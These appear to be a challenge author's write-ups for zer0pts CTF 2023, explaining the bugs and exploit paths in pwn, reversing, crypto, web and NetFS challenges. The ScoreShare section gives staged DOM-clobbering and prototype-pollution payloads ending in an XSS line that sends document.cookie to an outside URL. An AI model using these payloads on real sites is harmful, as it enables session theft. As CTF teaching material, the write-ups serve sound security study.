This article is my writeups for zer0pts CTF 2023. Thank you for playing!
aush
Background
It is sometimes frustrating for pwners that the shell cannot be spawned when the environment variables passed to execve
are corrupted. I wrote a pwn challenge based on this experience.
Challenge
This program implements simple authentication of a username and password. Both the password and the username are initialized from /dev/urandom
, so they cannot be predicted.
int setup(char *passbuf, size_t passlen, char *userbuf, size_t userlen) { int ret, fd; TODO if ((fd = open("/dev/urandom", O_RDONLY)) == -1) return 1; ret = read(fd, passbuf, passlen) != passlen; ret |= read(fd, userbuf, userlen) != userlen; close(fd); return ret; }
All mitigations are enabled.
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
Solution
The vulnerability is simple: there is a stack buffer overflow both in the input of the username and password.
#define LEN_USER 0x10 #define LEN_PASS 0x20 ... char inpuser[LEN_USER+1] = { 0 }; char inppass[LEN_PASS+1] = { 0 }; char username[LEN_USER] = { 0 }; char password[LEN_PASS] = { 0 }; ... write(STDOUT_FILENO, "Username: ", 10); if (read(STDIN_FILENO, inpuser, 0x200) <= 0) return 1; ... write(STDOUT_FILENO, "Password: ", 10); if (read(STDIN_FILENO, inppass, 0x200) <= 0) return 1;
However, because stack canaries are enabled and we do not have the address, we cannot simply overwrite the return address.
Checking the order of each buffer on the stack, we see that they are arranged in the following order: "username", "input username", "password", "input password". Therefore, if the input username overflows, we can overwrite the password. However, the correct username cannot be overwritten, so we cannot bypass the username authentication.
In addition to the buffer overflow vulnerability, there is another issue. If authentication fails, a message is displayed using cowsay as follows:
if (memcmp(username, inpuser, LEN_USER) != 0) { args[0] = "/usr/games/cowsay"; args[1] = "Invalid username"; args[2] = NULL; execve(args[0], args, envp); }
Because execve
calls cowsay, if authentication fails, the process changes into cowsay and exits. However, if execve
fails for some reason, the execution will reach the path where the authentication is successful. So, how can we fail execve
?
envp
is passed as the third argument to execve
. The environment variable array is located at the high address of the stack, so we can destroy it with a stack buffer overflow. However, if envp
is simply destroyed, execve
to spawn a shell will also fail. It needs to be fixed appropriately.
Therefore, both username and password authentication can be bypassed by the following steps:
- Overwrite the password with the username input and destroy the environment variable pointer.
- While sending the password overwritten in step 1, repair the environment variable pointer to an address that can be recognized as a string array.
I controlled the lower 2 or 3 bytes of the environment variable pointer to do this. Alternatively, setting envp
to NULL in step 2 will also allow the shell's execve
to work.
qjail
Background
Qiling is useful, but there are many things I don't like about it, so I decided to have participants pwn it.
Challenge
The program has a very simple buffer overflow vulnerability as follows.
#include <stdio.h> int main() { char name[0x100]; setbuf(stdin, NULL); setbuf(stdout, NULL); puts("Enter something"); scanf("%s", name); return 0; }
However, all mitigations are enabled.
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
Of course, we cannot bypass these mitigations. However, the unusual part of this challenge is that Qiling is used to execute the program.
import qiling import sys if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <ELF>") sys.exit(1) cmd = ['./lib/ld-2.31.so', '--library-path', '/lib', sys.argv[1]] ql = qiling.Qiling(cmd, console=False, rootfs='.') ql.run()
The flag is mounted in the rootfs of Qiling, and there is no need to escape from Qiling.
Solution
The three mitigations that makes it hard to exploit the vulnerability are ASLR, PIE, and Stack Canary. Let's experiment how Qiling treats each of them.
Compile a program that dumps addresses and stack contents, and run it with Qiling.
int main(int argc, char **argv) { unsigned long buf[2]; printf("main=%p / system=%p\n", main, system); for (int i = 0; i < 8; i++) printf("+%02xh: %016lx\n", i*8, buf[i]); return 0; }
import qiling cmd = ['./lib/ld-2.31.so', '--library-path', '/lib', "./a.out"] ql = qiling.Qiling(cmd, console=False, rootfs='.') ql.run()
The result does not change no matter how many times you run it.
$ python test.py main=0x7fffb7dd7169 / system=0x7fffb7e2d290 +00h: 0000000000000000 +08h: 00007fffb7dd7080 +10h: 000080000000de38 +18h: 6161616161616100 +20h: 0000000000000000 +28h: 00007fffb7dff083 +30h: 00007fffb7fc37a0 +38h: 000080000000de40
From this result, you can see that ASLR of the system is not emulated in Qiling *1.
Furthermore, the Stack Canary is 0x6161616161616100
. This value is fixed, and Stack Canary is virtually disabled on Qiling.
Therefore, we can bypass the canary and run our ROP chain to achieve arbitrary code execution.
BrainJIT
Background
I wrote a JIT for Brainfuck on a whim and it became a pwnable challenge. Initially, the area for tape was not executable, but I made it executable for a reason and the challenge became a bit easier.
Challenge
A Brainfuck JIT is implemented in a Python program.
$ ./app.py Brainf*ck code: +[------->++<]>.---------.++++++.++++.>++++++++++. neko
The JIT simply replaces the brainfuck instructions with native machine code. However, if there are consecutive pointer movement or value modification operations, they are compressed into a single operation.
Solution
The bug is simple: there is an error in the machine code output when there is a mismatch between the start and end of a loop.
... elif insn == '[': emit += b'\x42\x8a\x44\x05\x00\x84\xc0' emit += b'\x0f\x84' + p32(-1) jumps.append(self._code_len + len(emit)) elif insn == ']': if len(jumps) == 0: raise SyntaxError(f"Unmatching loop ']' at position {index}") dest = jumps.pop() emit += b'\x42\x8a\x44\x05\x00\x84\xc0' emit += b'x0f\x85' + p32(dest - self._code_len - len(emit) - 6) self._code[dest-4:dest] = p32(self._code_len + len(emit) - dest) else: raise SyntaxError(f"Unexpected instruction '{insn}' at position {index}") self._emit(emit) index += length self._emit(emit_leave)
When a loop start is detected, the location of that instruction is pushed onto the stack. Then, when a loop end is found, the location of the starting point instruction is popped from the stack, and the jump destination for that location is fixed. If there are more ]
than [
, an exception is thrown as "Unmatching loop."
However, there is no check for when there are more [
than ]
, i.e., when the stack is not empty at the end of compilation. In such cases, the behavior of the program is undefined.
The following code corresponds to the compilation of the [
instruction.
emit += b'\x42\x8a\x44\x05\x00\x84\xc0' emit += b'\x0f\x84' + p32(-1) jumps.append(self._code_len + len(emit))
The JIT compiler does not know where to jump at the start of the loop, so it uses "-1" as the temporary address. In other words, if the number of start and end points of the loop does not match, "-1" remains as the jump destination in the machine code output.
A branch instruction takes the offset from the next instruction to the jump destination. When "-1" is used as the jump destination, it jumps in the middle of the jump instruction itself. Specifically, it is recognized as an instruction starting from 0xff. If 0xff is added to the machine code generated by other Brainfuck instructions, it may turn into something exploitable.
To illustrate this, let's add 0xff to the compressible instructions <
, >
, +
, -
and then disassemble them. For example, <
becomes the following (where the number of consecutive instructions is set to 0x41414141).
>>> disassemble("\xff" + "\x49\x81\xe8AAAA\x49\x81\xf8\x00\x80\x00\x00\x72\x01\xcc") [(0, 'dec DWORD PTR [rcx-0x7f]'), (3, 'call 0x41414149'), (8, 'cmp r8,0x8000'), (15, 'jb 0x12'), (17, 'int3')] # dec dword [rcp-0x7f] # call 0x41414149 # ...
RCX is not a valid address in its initial state. However, the return value of the system call can be assigned to RCX by ,
or .
instructions that use system calls, making RCX a valid address. The memory for machine code and tape are adjacent, and the memory for tape is also mapped as executable. Therefore, shell code can be prepared on the tape.
WISE
Background
After last year's D language pwn challenge, I decided to create another one using a language I had never used before. I often choose such languages for pwn challenges to test players' skills in unusual situations, where glibc heap exploits may not work for example. While I could use more complex software like browsers, this would require prior knowledge, so I use lesser-known languages instead. I surveyed a list of languages and picked the ones that are not memory-safe.
The theme, title, and description of this challenge came from the "Spy x Family" comic, which I was reading at the time I created the challenge.
Challenge
This year, I have chosen Crystal as the victim language. The challenge file has a unique extension named .cr
.
The program has the following features:
- Add resident information.
- Edit resident information.
- Display resident information list.
- Mark a resident as a spy.
- Change the ID of a resident marked as a spy.
- Display the information of a resident marked as a spy.
Features 1-3 correspond to the create, edit, and show capabilities of the "note challenge." However, features 4-6 are the critical elements of this challenge.
Solution
Although I had never used Crystal before, I found its syntax to be similar to Ruby. Crystal is designed to be memory-safe, but it also provides some unsafe
functions for performing dangerous operations. The code in the following section actually uses an unsafe instruction.
when 4 print "ID of suspect: " STDOUT.flush index = id_list.index gets.not_nil!.chomp.to_u64 if index.nil? puts "[-] Invalid ID" else puts "[+] Marked '#{name_list[index]}' as possible spy" suspect = id_list.to_unsafe + index end
Usually, marking a resident as a spy and then deleting it does not cause Use-after-Free in Crystal, as it uses garbage collection. However, the following code marks a resident as a spy:
suspect = id_list.to_unsafe + index
This expression saves only pointers in the id_list
array variable, so the suspect
variable only contains a reference to an address. Although there is no deletion function, when you add a resident and the array becomes larger, reallocation occurs, and the data moves to another area. Then, only the pointer to the original data remains in suspect
, causing a Use-after-Free error.
Since we can change the ID of the spy, we can also change the 64-bit value pointed to by suspect
. What can we do with this?
Let’s add some residents and check the memory.
0x7ffff7cbef00: 0x00007ffff7cbeee0 0x0000000000000000 0x7ffff7cbef10: 0x0000000000000000 0x0000000000000000 0x7ffff7cbef20: 0x00007ffff7cbef00 0x0000000000000000 0x7ffff7cbef30: 0x0000000000000000 0x0000000000000000 0x7ffff7cbef40: 0x00007ffff7cbef20 0x0000000000000000 0x7ffff7cbef50: 0x0000000000000000 0x0000000000000000 0x7ffff7cbef60: 0x0000000800000001 0x4343434300000000 <-- name_list[1] 0x7ffff7cbef70: 0x0000000044444444 0x0000000000000000 0x7ffff7cbef80: 0x2bdaea1070d83563 0x5ce5ae78158f5e35 <-- id_list 0x7ffff7cbef90: 0x0000000000000000 0x0000000000000000 0x7ffff7cbefa0: 0x0000000800000001 0x4141414100000000 <-- name_list[0] 0x7ffff7cbefb0: 0x0000000042424242 0x0000000000000000
It appears that the heap manager in Crystal uses a linked list for freed areas. Additionally, because integers and strings have simple structures in Crystal, there are fewer concerns regarding exploitation.
For instance, you can assign the head of id_list
to suspect
. If you increase the number of residents, reallocation occurs and the original buffer for id_list
is freed.
0x7ffff7cbef00: 0x00007ffff7cbeee0 0x0000000000000000 0x7ffff7cbef10: 0x0000000000000000 0x0000000000000000 0x7ffff7cbef20: 0x0000000800000001 0x4747474700000000 <-- name_list[3] 0x7ffff7cbef30: 0x0000000048484848 0x0000000000000000 0x7ffff7cbef40: 0x0000000800000001 0x4545454500000000 <-- name_list[2] 0x7ffff7cbef50: 0x0000000046464646 0x0000000000000000 0x7ffff7cbef60: 0x0000000800000001 0x4343434300000000 <-- name_list[1] 0x7ffff7cbef70: 0x0000000044444444 0x0000000000000000 0x7ffff7cbef80: 0x00007ffff7cbef00 0x5ce5ae78158f5e35 <-- freed id_list 0x7ffff7cbef90: 0xc97703dc32b35f9c 0x0000000000000000 0x7ffff7cbefa0: 0x0000000800000001 0x4141414100000000 <-- name_list[0] 0x7ffff7cbefb0: 0x0000000042424242 0x0000000000000000
Let’s change the suspect
’s ID:
0x7ffff7cbef00: 0x00007ffff7cbeee0 0x0000000000000000 0x7ffff7cbef10: 0x0000000000000000 0x0000000000000000 0x7ffff7cbef20: 0x0000000800000001 0x4747474700000000 <-- name_list[3] 0x7ffff7cbef30: 0x0000000048484848 0x0000000000000000 0x7ffff7cbef40: 0x0000000800000001 0x4545454500000000 <-- name_list[2] 0x7ffff7cbef50: 0x0000000046464646 0x0000000000000000 0x7ffff7cbef60: 0x0000000800000001 0x4343434300000000 <-- name_list[1] 0x7ffff7cbef70: 0x0000000044444444 0x0000000000000000 0x7ffff7cbef80: 0x00000000deadbeef 0x353337330000000a <-- freed id_list 0x7ffff7cbef90: 0xc900393535383239 0x0000000000000000 0x7ffff7cbefa0: 0x0000000800000001 0x4141414100000000 <-- name_list[0] 0x7ffff7cbefb0: 0x0000000042424242 0x0000000000000000
You can clearly see that the linked list has been destroyed. Furthermore, you can also leak heap addresses because you can check IDs. Since the variables id_list
and name_list
themselves are also on the heap, you can calculate their addresses. By pointing the link to these variables, you can rewrite name_list
and id_list
.
As a result, AAR/AAW primitive can be created, and you can leak the address of the stack from environ
and bring it to ROP.
It is evident that the linked list has been destroyed. Additionally, one can potentially leak heap addresses by checking IDs. As the variables id_list
and name_list
are also on the heap, we can calculate their addresses.
Furthermore, we can make the linked list point to near name_list
and id_list
to overwrite them. This drops an AAR/AAW primitive. Then, we can leak the stack address from environ
and inject a ROP chain.
sharr
Background
One day, I had the idea that the open
function could take a variable-length argument and be used to create a pwnable challenge.
Challenge
This is a "note" challenge that is similar to the previous one. It is divided into two processes: one for managing the interface and another for managing the note using interprocess communication (IPC). There is no sandboxing, and the challenge does not start a program when connected to via nc. Instead, it gives you a shell. Therefore, the objective is not to perform Remote Code Execution (RCE), but rather to perform Local Privilege Escalation (LPE).
The interface accepts commands and sends them to the parent process via IPC. What's special about this challenge is that it uses a file to exchange commands.
void io_set(off_t offset, void *data, size_t size) { lseek(mapfd, offset, SEEK_SET); write(mapfd, data, size); } void io_get(off_t offset, void *data, size_t size) { lseek(mapfd, offset, SEEK_SET); read(mapfd, data, size); } DEFINE_SETTER_CONST(int, command); DEFINE_GETTER(int, command); DEFINE_SETTER(ssize_t, index); DEFINE_GETTER(ssize_t, index); DEFINE_SETTER(size_t, value); DEFINE_GETTER(size_t, value);
Solution
The vulnerability lies in the initial code that creates the shared file.
snprintf(mapname, sizeof(mapname), "/tmp/.shm-%08x", rand()); ... if ((mapfd = open(mapname, O_RDWR|O_CREAT|O_EXCL)) == -1) fatal(mapname); fchmod(mapfd, 0600); ftruncate(mapfd, sizeof(ArrayIO)); signal(SIGINT, interrupt_handler); io_set_command(CMD_WAIT);
The filename for the shared file depends on the rand()
function, so it can be predicted. The file is then created using the open
function. Once the file is created, chmod
changes the file permission to 0600 to prohibit anyone other than the admin from opening it.
What happens to the permission setting during the time between when the file is created with open
and when the permission is changed with chmod
?
Although it may not be immediately apparent, the vulnerability lies in the open
function, which takes a variable-length argument. Therefore, even if a large number of arguments are passed to the open
function in C, the code will still compile with gcc. This is because the open
system call sometimes takes a mode
argument. The open
system call can be used to create or open a file. When creating a file, it is necessary to specify the permissions, so the mode
argument is used at that time.
However, the C code in this challenge only passes two arguments. Thus, the system call tries to use a hidden third argument. Specifically, it uses the contents of the uninitialized RDX register.
The last time RDX is changed before the open
function is in the atoi
function. The atoi
function is used to determine the verbose mode value, and if it is set to 1, valuable information such as addresses can be obtained.
In this version of libc, the negation of the value converted by the strtol
function remains in the RDX register. To set the permission to 0777, you need to pass (0o777 ^ 0xfff)+1=3585, for example, as the verbose mode value. However, when you actually experiment with this method, you will not create a file with permission 0777.
The reason for this is the umask
. umask
is a function that masks permissions when creating files. For example, when umask
is set to 022 and a file is created with 0666, the actual file permission will be 0666 & ~022 = 0644. Therefore, we must set umask
to 0 before executing the program.
If a third party process can successfully open the shared file between open
and chmod
, it can instruct the parent process to perform arbitrary operations without index or size checks.
Next, you need an address leak. Since commands can be sent regardless of the interface, you can store or read values in an arbitrary index using the following code.
case CMD_EDIT: { ssize_t idx = io_get_index(); size_t val = io_get_value(); arr[idx] = val; if (verbose == 1) dprintf(STDERR_FILENO, "[DEBUG] CMD_EDIT: %p <-- 0x%016lx\n", &arr[idx], val); break; } case CMD_SHOW: { ssize_t idx = io_get_index(); io_set_value(&arr[idx]); if (verbose == 1) dprintf(STDERR_FILENO, "[DEBUG] CMD_SHOW: %p --> 0x%016lx\n", &arr[idx], arr[idx]); break; }
It is possible to read and write data at an arbitrary address in the heap. However, it is not possible to perform glibc heap-related exploits because the free
function is never used. If you attempt to write to an unmapped address, the entire process will crash.
Of particular interest is the fact that CMD_SHOW
passes &arr[idx]
directly to io_set_value
. The definition of io_set_value
is as follows:
#define DEFINE_SETTER(type, name) \ void io_set_##name(type *name) { \ io_set(offsetof(ArrayIO, name), name, sizeof(type)); \ } ... void io_set(off_t offset, void *data, size_t size) { lseek(mapfd, offset, SEEK_SET); write(mapfd, data, size); } ... DEFINE_SETTER(size_t, value);
In other words, it is equivalent to the following code.
write(mapfd, &arr[idx], sozeof(size_t));
Since write
is a kernel-side operation, the process does not crash even if an invalid address like &arr[idx]
is used.
Therefore, in CMD_SHOW
, you can search for the program's base address by advancing the index in the negative direction by (0x1000/8) units, and looking for "\x7FELF"
. Once you know the program's base address, you can gradually obtain libc and stack addresses and bring them into ROP.
As write
is a kernel-side operation, a process will not crash even if an invalid address such as &arr[idx]
is used. Therefore, in CMD_SHOW
, you can search for the program's base address by moving the index in the negative direction by (0x1000/8) units and searching for \x7FELF"
. Once you know the program's base address, you can also obtain libc and stack addresses, and then inject the ROP chain.
Himitsu Note
Background
One day, I set the least significant byte of the return address of the main
function to 0. I then discovered a way to leak argv[0]
and turned it into a challenge.
Challenge
This is another note challenge, but each one has a unique concept.
In this challenge, you can perform the following two operations:
note_list[index] = malloc(0x800);
: Store amalloc
pointer in the stack array.getstr(note_list[index])
: Write data to the allocated address.- Free all array pointers and exit the program.
Although this challenge may seem easy at first glance, the address leak method is a bit novel.
Solution
First of all, there is an obvious vulnerability in the first function.
case 1: { unsigned int i = getint("index: "); if (!note_list[i]) { note_list[i] = (char*)malloc(NOTE_SIZE); print("[+] done\n"); } else { print("[-] error\n"); } break; }
The lack of an index check means that you can write out of bounds. However, since it is unsigned, you can only write in the positive direction.
Using the pointer to the stack, you can overwrite the return address. However, since PIE is enabled, we need to leak the address.
There is another vulnerability in this challenge: the getstr
function.
void getstr(const char *s, char *buf, size_t len) { print(s); for (size_t i = 0; ; i++) { char c; if (read(STDIN_FILENO, &c, 1) <= 0) _exit(1); else if (c == '\n') { buf[i] = '\0'; break; } else if (i < len) { buf[i] = c; } } }
If you write a character that exceeds the size len
, the loop will continue, but it will not be written to the buffer. However, the last newline is always converted to a NULL byte, so there is a vulnerability that allows you to write a NULL byte to wherever writable in the positive direction. What can we do with this vulnerability?
The first thing to consider is to destroy the note address. However, free
is only called once at the end of the function. Some parts of the tcache area can be destroyed, but malloc
is only called with a size of 0x800, so the tcache is not used.
The next thing to consider is partial destruction of the return address. If you replace the lowest byte of the return address with a NULL byte, you will jump to the next location.
pwndbg> x/16i 0x00007ffff7df2000 0x7ffff7df2000 <__libc_start_main+112>: sbb al,0x0 0x7ffff7df2002 <__libc_start_main+114>: mov rsi,QWORD PTR [rsp+0x8] 0x7ffff7df2007 <__libc_start_main+119>: mov edi,DWORD PTR [rsp+0x14] 0x7ffff7df200b <__libc_start_main+123>: mov rdx,QWORD PTR [rax] 0x7ffff7df200e <__libc_start_main+126>: call rbx
The code above calls __libc_csu_init
in __libc_start_main
. Let's check the rest of the code.
if (init) (*init) (argc, argv, __environ MAIN_AUXVEC_PARAM); #ifdef SHARED if (__glibc_unlikely (GLRO(dl_naudit) > 0)) { struct audit_ifaces *afct = GLRO(dl_audit); struct link_map *head = GL(dl_ns)[LM_ID_BASE]._ns_loaded; for (unsigned int cnt = 0; cnt < GLRO(dl_naudit); ++cnt) { if (afct->preinit != NULL) afct->preinit (&link_map_audit_state (head, cnt)->cookie); afct = afct->next; } } #endif #ifdef SHARED if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS)) GLRO(dl_debug_printf) ("\ntransferring control: %s\n\n", argv[0]); #endif
Let's focus on condition [1]. The calculation of GLRO (dl_debug_mask) & DL_DEBUG_IMPCALLS
occurs just before the jump destination.
0x7ffff7df1feb <__libc_start_main+91>: mov ebp,DWORD PTR [rdx] 0x7ffff7df1fed <__libc_start_main+93>: and ebp,0x2
The RBP register is calculated using machine code before the jump destination as shown above. As a result, RBP does not have the correct values after the jump.
The leave
instruction in the main
function is where the RBP register is finally set.
0x55555555546b <main+309>: leave 0x55555555546c <main+310>: ret
To fulfill condition [1], simply insert a random heap address in the saved rbp. In addition, [2] outputs argv[0]
to stderr. Luckily, the main
function is called after this process, so the program continues after the address leak.
int not_first_call; not_first_call = setjmp ((struct __jmp_buf_tag *) unwind_buf.cancel_jmp_buf); if (__glibc_likely (! not_first_call)) { struct pthread *self = THREAD_SELF; unwind_buf.priv.data.prev = THREAD_GETMEM (self, cleanup_jmp_buf); unwind_buf.priv.data.cleanup = THREAD_GETMEM (self, cleanup); THREAD_SETMEM (self, cleanup_jmp_buf, &unwind_buf); result = main (argc, argv, __environ MAIN_AUXVEC_PARAM); }
Since argv[0]
is also on the stack, you can put a heap address here and dl_debug_printf
will output the contents of the heap. In this way, the heap and libc addresses can be leaked. Once the addresses are known, a ROP chain can be written to execute arbitrary commands.
By placing a heap address in the argv[0]
position on the stack, dl_debug_printf
can output the contents of the heap. This allows for the leaking of heap and libc addresses. With these addresses known, we can inject a ROP (Return-Oriented Programming) chain to execute arbitrary commands.
decompile me
Background
While teaching reversing at a certain place, I advised my students, "Decompilers are convenient, but try to read the assembly code as much as possible when practicing." At the same time, I wanted to create a challenge that would perplex decompiler addicts. I also believe that reverse engineers should have a general understanding of programs that obfuscate analysis by confusing arguments.
Challenge
This is a reverse engineering challenge for x86-64 architecture. With the help of decompilers, such as IDA and Ghidra, even individuals who cannot read assembly can now engage in reverse engineering. However, decompiler tools comply with the specifications of some compilers like GCC. As a result, they can be easily obfuscated by breaking the calling convention.
Solution
When compiled with IDA, the following code is generated.
However, even if you decrypt RC4 based on this, you will not obtain the flag. All the functions defined here are not libc functions, but are implemented independently. For instance, the write
function is defined as follows.
It is clear that the calling convention is not being followed. The real arguments are not RDI, RSI, and RDX, but RBP, R12-R15, and the stack. Each function also has a different calling convention. The algorithm is RC4, but the location of the key and ciphertext are in completely different places.
mimikyu
Background
I made this challenge because I had never seen API Hashing in Linux. That’s all.
Challenge
The theme of this challenge is to apply obfuscation techniques commonly used in Windows malware to Linux. Specifically, major function calls are obfuscated by hash values, similar to what is done in Windows using API Hashing.
Solution
The approach for analyzing Windows API Hashing is the same as for this challenge. It's easier to write code that reverse-engineers function names from hash values.
After deciphering the function names, the cap
function becomes the focus. This function takes a single value as input, creates a hash table with the hcreate
function from glibc, and continues to insert elements with hsearch
until it fails, copying the number of elements that were successfully inserted into an output variable.
In other words, cap
returns the capacity of the hash table created with hcreate
. Reading the implementation of the hcreate
function here, we can see that the capacity is always a prime number. It's surprising that there's an implementation of next_prime
in glibc...!
Knowing that the capacity is a prime number, we can determine that the implementation is weak RSA and write a solver quickly.
topology
Background
I wanted to create a challenge that could be solved easily with advanced symbolic execution.
Challenge
The program implements interprocess communication using shared memory and futex. It spawns 100 processes, including the parent process, forming a ring network topology.
The parent process divides the input flag into blocks of 8 bytes, and requests all child processes to verify the flag via the ring network. The receiving process returns the verification result, and the packet circulates on the network until the parent process receives it. The parent process receives the results of all child processes and judges if the block of the flag is correct. If five or more processes accept the flag, it is considered correct.
While the logic for each process to verify the flag block is simple, there are 99 processes, making automation necessary.
Solution
This challenge is intended to be solved using an emulator or symbolic execution tool like angr. While it is not feasible to symbolically execute the entire program, it is possible to emulate all the verification functions for each process. Symbolic execution is essential, and for technical explanations from the perspective of program analysis, please refer to the code for details.
fvm
Background
While examining the list of registers on an Intel device, I came across a register named "st" that I did not recall seeing before. I decided to turn it into a CTF challenge. Unfortunately, however, there is no "st98" register. Let’s hope the "st" register will be expanded in the future.
Challenge
This is a so-called “VM challenge.” Personally, I do not want to create a VM reversing challenge because it requires manpower, rather than skill. However, I created this challenge because it utilizes CPU-specific features, which I thought would be interesting.
When creating a “VM”, the program typically allocates a structure containing registers, an instruction pointer, and memory. However, in this challenge, initialization is accomplished with only one instruction, and there is no code to construct the CPU or memory.
void init_cpu() { __asm__("finit"); }
The program uses x87, a subset of the x86 CPU instruction set optimized for floating-point arithmetic. It has a unique feature of performing operations through a stack inside the CPU. The stack can hold up to 8 data, ranging from st(0)
to st(7)
. Each data has a precision of 10 bytes (80 bits). The x87 instructions used in this challenge require few operands. For example, addition is done using the faddp
instruction, which pops the top two values from the stack, adds them, and pushes the result onto the top of the stack.
Solution
It is easy to write a decompiler than to read one.
The VM bytecode reads the flag every 4 bytes, converts the character code to radians, and places it on a cycloid and cardioid. It then multiplies and adds the results and compares each value with the answer. Although only two values are given for four variables, the range of values is limited, so you can solve it through brute-force.
SquareRNG
Background
I started working on creating a crypto warmup as I was concerned about Mitsu's submission of moduhash as a warmup. One night, before going to bed, I came up with the following problem:
For a polynomial defined on , let be a sequence defined as follows:
Is it possible to calculate the following Legendre symbol?
when a sufficiently short length subsequence of is given?
I looked it up without any expectations and found that such a sequence is called a Legendre sequence. Furthermore, this problem is called the GLSP (Generalized Legendre Symbol Problem) and is generally believed to be difficult. I considered making it into a crypto challenge, but we obviously cannot solve it.
So, I removed the constraint of a polynomial and considered the case where there are multiple functions, which led me to come up with this challenge.
Challenge
The following oracle is given on . However, are unknown, and we can freely set . Two oracles can be obtained by setting twice.
This oracle is used as an implementation of random numbers, so it's also necessary to understand the above formula from the code. If you can accurately calculate for one of the s, you will get the flag.
As an important property of Legendre symbols, the following formula holds (I omit the proof as it is simple).
That is, if you know the Legendre symbols of and , you can also get the Legendre symbol of . Also, that we want to know this time can be factored.
Is it possible to calculate the Legendre symbol of the factors? For , if , then when ,
Also, when , ,
Therefore, if you multiply the Legendre symbols at when , you can find the desired Legendre symbol when .
Background
As a piano hobbyist, I decided to create a prototype pollution challenge using abc.js, a JavaScript library for drawing musical scores. I chose this library because there is a lot of code that manipulates innerHTML
. However, as a web newbie, it took me a long time to create the challenge because I had to learn about DOM clobbering, CSP, and iframe behavior. Additionally, it was difficult to create the ABC notation for the sample score. Unfortunately, the challenge ended up having an unintended solution.
Challenge
ScoreShare is a service that enables users to post music scores written in ABC notation. The scores are then displayed in HTML. Users can add a title and a related link to the score page. The link is displayed in an iframe on the score page.
Solution
There is an issue with the rendering of iframes, which is not critical. The src
attribute of the iframe is set to the link and the name
attribute is set to the title using Jinja.
<iframe sandbox="allow-same-origin" name="{{ title }}" src="{{ link }}"></iframe>
Additionally, there is a vulnerability related to prototype pollution in score.js
, which loads the configuration for the score.
let synth = { el: '#audio' }; if (typeof config !== 'undefined') { for (let i = 0; i < config.synth_options.length; i++) { let option = config.synth_options[i]; if (typeof option.value === 'object') { if (synth[option.name] === undefined) synth[option.name] = {}; let param = synth[option.name]; Object.getOwnPropertyNames(option.value).forEach(key => { param[key] = option.value[key]; }); } else { synth[option.name] = option.value; } } }
However, config
is a value that comes from the API and is hardcoded in app.py
.
DEFAULT_CONFIG = { 'template': { 'title': 'Nyan Cat', 'abc': open('nyancat.abc').read(), 'link': '<https://en.wikipedia.org/wiki/Nyan_Cat>' }, 'synth_options': [ {'name': 'el', 'value': '#audio'}, {'name': 'options', 'value': { 'displayPlay': True, 'displayRestart': True }} ] }
The code that gets the configuration from the API is in config.js
.
async function defaultConfig() { if (window.config) return window.config; let promise = await fetch('/api/config'); let config = await promise.json(); return window.config = config; }
You can see that if window.config
exists, it is used as a cache and utilized preferentially. However, since we can freely set the name
attribute of the iframe, if a score with the title "config" is posted, it will reference the iframe DOM instead of the config.
The iframe
is useful for DOM clobbering. In this configuration, we can achieve prototype pollution by preparing multiple iframes at the same domain using the following multi-stage iframes.
If window.config
exists, it is used as a cache. However, if a score with the title "config" is posted, it will reference the iframe DOM instead of the config, since we can freely set the name
attribute of the iframe.
The iframe
is useful for DOM clobbering. We can achieve prototype pollution by preparing multiple iframes at the same domain using the following multi-stage iframes.
(1)
<iframe name="synth_options" src="/api/score/(Score ID of 2)"></iframe>
(2)
<iframe name="__proto__" src="/api/score/(Score ID of 3)"></iframe>
(3)
<base href="a://neko"> <a id="value"> <a id="value" name="x" href="1">
If we post the HTML for 1 as a score, we can obtain the corresponding score as HTML from the API. Therefore, if we set the URL to the API as the related link, it will pollute the Object prototype by setting x
to a://neko
.
However, it is unclear if this pollution can be used to achieve XSS. Looking at the code for abc.js, there are several instances where innerHTML
is modified. For example, the following code inserts the BPM of the playback bar directly into innerHTML
.
if (hasWarp) { var warpTitle = options.warpTitle ? options.warpTitle : "Change the playback speed."; var warpAria = options.warpAria ? options.warpAria : warpTitle; var bpm = options.bpm ? options.bpm : "BPM"; html += '<span class="abcjs-tempo-wrapper"><label><input class="abcjs-midi-tempo" type="number" min="1" max="300" value="100" title="' + warpTitle + '" aria-label="' + warpAria + '">%</label><span> (<span class="abcjs-midi-current-tempo"></span> ' + bpm + ')</span></span>\n'; } html += '<div class="abcjs-css-warning" style="font-size: 12px;color:red;border: 1px solid red;text-align: center;width: 300px;margin-top: 4px;font-weight: bold;border-radius: 4px;">CSS required: load abcjs-audio.css</div>'; html += '</div>\n'; parent.innerHTML = html;
Therefore, if the HTML for 3 is modified as follows, cookies can be stolen with XSS.
(3)
<base href='a://neko<iframe srcdoc="<script src=/api/score/(Score ID of 4)></script>"></iframe>'> <a id="value"> <a id="value" name="bpm" href="1"> <a id="value" name="displayWarp" href="1">
(4)
location.href='http://<URL>/?x='+document.cookie;
NetFS 1
Background
This is a warmup for NetFS 2.
Challenge
This is a service that allows users to browse files over the network. Authentication is required, but the password for the administrator user is unknown.
LOGIN_USERS = { b'guest': b'guest', b'admin': open("secret/password.txt", "rb").read().strip() }
In addition, non-administrator users cannot access certain files.
PROTECTED = [b"server.py", b"secret"] ... if not self.is_admin and \ any(map(lambda name: name in filepath, PROTECTED)): self.response(b"Permission denied.\n") continue
Solution
There is a vulnerability in password authentication.
with Timeout(30): self.response(b"Password: ") i = 0 while i < len(password): c = self._conn.recv(1) if c == b'': return elif c != password[i:i+1]: self.response(b"Incorrect password.\n") return i += 1
The password is received one character at a time from the socket, and if an incorrect character is reached, the output "Incorrect password." is returned. Therefore, it is possible to leak the password one character at a time by checking whether there is a response or not.
NetFS 2
Background
While taking a break and looking at procfs, I stumbled upon a file named wchan. It reveals which function a program is stopped in within the Linux kernel. It's like having an oracle at your fingertips :P
Challenge
Compared to NetFS 1, password checking has been strengthened.
with Timeout(5) as timer: self.response(b"Password: ") i = 0 while i < len(password): c = self._conn.recv(1) if c == b'': timer.wait() self.response(b"Incorrect password.\\\\n") return elif c != password[i:i+1]: timer.wait() self.response(b"Incorrect password.\\\\n") return i += 1 if self._conn.recv(1) != b'\\\\n': timer.wait() self.response(b"Incorrect password.\\\\n") return
wait
is defined as follows:
def wait(self): signal.alarm(0) while time.time() - self.start < self.seconds: time.sleep(0.1) time.sleep(random.random())
